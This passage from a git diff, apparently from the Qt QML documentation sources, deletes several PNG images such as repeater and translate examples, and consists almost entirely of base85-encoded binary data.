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 diff --git a/src/qml/doc/images/repeater-index.png b/src/qml/doc/images/repeater-index.png deleted file mode 100644 index 3dbe6d0571b47f37115df8726dc12232943cab27..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3024 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 ZBI!r}K`y5z8iE!baz280sI>FH`d=7h$@TyM diff --git a/src/qml/doc/images/repeater-modeldata.png b/src/qml/doc/images/repeater-modeldata.png deleted file mode 100644 index 6d8df0d9d5c31c3499f09aee723895365ff912e6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3394 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 Y0UtZLqG;^gl>h($07*qoM6N<$f*Id|2LJ#7 diff --git a/src/qml/doc/images/repeater-simple.png b/src/qml/doc/images/repeater-simple.png deleted file mode 100644 index 6da62951dcfe085295686a2e5e3567d69b10a337..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 404 zcmeAS@N?(olHy`uVBq!ia0y~yU^D=-eK?qaWGY|HDj>yN?Bp53!NGC+q5lIQm$Sel zvY3H^TNs2H8D`Cq0BSP#ba4!+nDh49!AurI0awS9+s`I8%@CMUAN1)cx7|74`~_M~ z{)e08vhOyhuX|lwbtrqs)#B{Czq9)czuE15q57<3_3}Hfc3K|)C-?gK8<7Y0j!qp4 ziY^lblsq^DRa!WNoLD#&n_2{@FFa*U>HK*gq^^Ipw0&p_bi&qme@(yNTmGG)e$N_O c+y0Yv=OiWj*+skCf#J&F>FVdQ&MBb@0Ln6b00000 diff --git a/src/qml/doc/images/repeater.png b/src/qml/doc/images/repeater.png deleted file mode 100644 index 973df27a74ec7f2cbb059abe11ae19f3acab2554..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 800 zcmeAS@N?(olHy`uVBq!ia0vp^cYs)qg9%8Uka(U6q&N#aB8wRq_idhmia5`!&#gND z{I8yWQF;D7<#vy6)=jy$i`PH5dL&yl`CNYCwbM-}7fdubwDzHgcS=f*3&+D94C3!D z?%7kq*uKP~{d#$MIlCO6PECYHnfObtzy}pM-CyR&-Q!4KX1pwO+FC~OyqVG(r)7=@ zYjU?bg>TZ9KmGpuyWk79e`fyB@%LX6{5`n-e>3;?OMkBiP4imnx4HQ1r&kBhGFMLP z$e8^@WPZKrd=Hfl4!t|8*6o=xDNo+$M@GTlKf9K%bh+YkwEAdB{i#hlI|@|Sv3&EX z`WYL4|HF+96$&<6zVkmn@h_|0OHnMP;9*$l^ZQ>sg1T;(pP&2g=rY$`4=Z2gn`zGK z-4>tQ&b@tA^p8)mLV;6ie*QIzwSO3*)HUI0M8U&dJ3o2MeN+@JyKyqV+9v%QrS=aG zt$i01Cl)Xz$fP6cn9$po)k`WiwpX{sYIfb;UQ{frcjtfKqA9oLh27pYYw5w(*UwHd zcilGs9dV)^2~D`T9vR_Yz}Sy%_Uwxxgt!FFsC~7pxQ5 zxiQ72_LB%mbY7s%nkc6&vDvqG>~@@P(;vI|#_b!Yj*A{Id~j&(tE?!GNkMyGWJIM| z9Zt8*t)Bg>`G?H;b1BXX1!8vOt+QEC7iQ{fY&-E;@Ep69i?WZze>y2X`D2BQUd&GI zgRd3u$LLLe<^R^D+{GziiBgzC^2v-lIcLtLXfHq18vX24|2oh9rSkt}oHz`v?4zopr06|!J>i_@% diff --git a/src/qml/doc/images/translate.png b/src/qml/doc/images/translate.png deleted file mode 100644 index baf58b0eb694b09fd78d9a9e5aca6cf6d2ec242c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 398 zcmeAS@N?(olHy`uVBq!ia0vp^CxAGGg9%9bJb4iVq?n7HJVQ7*IBq}me*oli7I;J! zGca%qgD@k*tT_@442*`JE{-7;bKc(C$jfZN!(wQC;-9v*_6|!4z7w4LELL2aH}mMi zz4`hT$DV&<_&0fj2S;}ck;IX>)8~J$jI6uozcWIm#nowW5&O2Y+oV4G)|9@3M0eF4 YKh1vh&!Ibkzz}8dboFyt=akR{03XYROaK4? diff --git a/src/qml/doc/images/verticalpositioner_example.png b/src/qml/doc/images/verticalpositioner_example.png deleted file mode 100644 index 458dc7f48149007bdd208f87c89cdb7d66c55bf3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 385 